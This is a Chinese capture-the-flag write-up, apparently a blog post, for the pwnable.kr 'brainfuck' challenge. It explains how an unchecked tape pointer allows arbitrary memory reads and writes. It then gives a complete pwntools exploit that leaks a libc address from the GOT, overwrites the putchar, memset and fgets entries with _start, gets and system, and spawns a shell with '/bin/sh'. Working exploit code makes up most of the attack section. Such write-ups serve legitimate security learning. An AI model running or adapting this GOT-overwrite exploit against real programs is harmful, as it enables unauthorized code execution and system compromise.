pwnable之brainfuck

问题分析

程序没有对p的访问空间做限制,导致可以任意内存读写,在.bss段前面是存放got的地方。基本思路是:先读取got中的值泄露libc地址,再根据bf_libc.so计算其他函数偏移。接下来是写,覆盖原有got值为指定函数地址来getshell

遇到问题

最开始想覆盖putchar的got值为system的地址,但无法控制system的参数。思维僵化
真的是,怎么就没想到覆盖成__start的地址,再跑一遍main,就有其他函数来利用了
另外一个问题是"mov     eax, ds:p", 地址还是值的问题( ▼-▼ )

具体方法

1.'<'上移使其指向got_putchar,'.'将实际地址打印出来,4个字节
2.利用libc.so计算其他函数的地址
3.'<','>'这两个操作移动p,分别指向putchar,memset,fgets的got,利用‘,’进行写操作,分别将它们的got值覆盖为‘_start’,'gets','system'
4.将'/bin/sh'传过去

solv.py

from pwn import *
import sys

if int(sys.argv[1]) == 1:
    sh = ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
    p = sh.remote('0',9001)
    #p = remote('pwnable.kr',9001)
    libc = ELF("bf_libc.so")
    elf = ELF("bf")
    pass
else:
    p = process("./bf")
    libc = ELF("libc.so.6")
    elf = ELF("bf")
        #gdb.attach(p)
context.log_level = 'debug'
context.arch = "i386"
got_putchar = elf.got['putchar']
got_memset = elf.got['memset']
got_fgets = elf.got['fgets']
log.info("got memset:{0} ;got putchar:{1}".format(hex(got_memset),hex(got_putchar)))
addr_p = 0x804A0A0
addr_main = 0x080484e0
offset_p = addr_p - got_putchar
p.recvuntil("type some brainfuck instructions except [ ]\n")
payload = '<' * offset_p + '.' + '.>.>.>.>' + '<' * 4 + ',>,>,>,>' + '<' * (got_putchar - got_memset + 4) + ',>,>,>,>' + '<' * (got_memset - got_fgets + 4) + ',>,>,>,>' + '.'
p.sendline(payload)
p.recv(1)
addr_putchar = u32(p.recv(4))
log.info("addr putchr:{}".format(hex(addr_putchar)))
addr_sys = addr_putchar - libc.symbols['putchar'] + libc.symbols['system']
addr_gets = addr_putchar - libc.symbols['putchar'] + libc.symbols['gets']
log.info("addr system:{}".format(hex(addr_sys)))
p.send(p32(addr_main) + p32(addr_gets) + p32(addr_sys))
p.recv()
p.sendline('/bin/sh\x00')
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值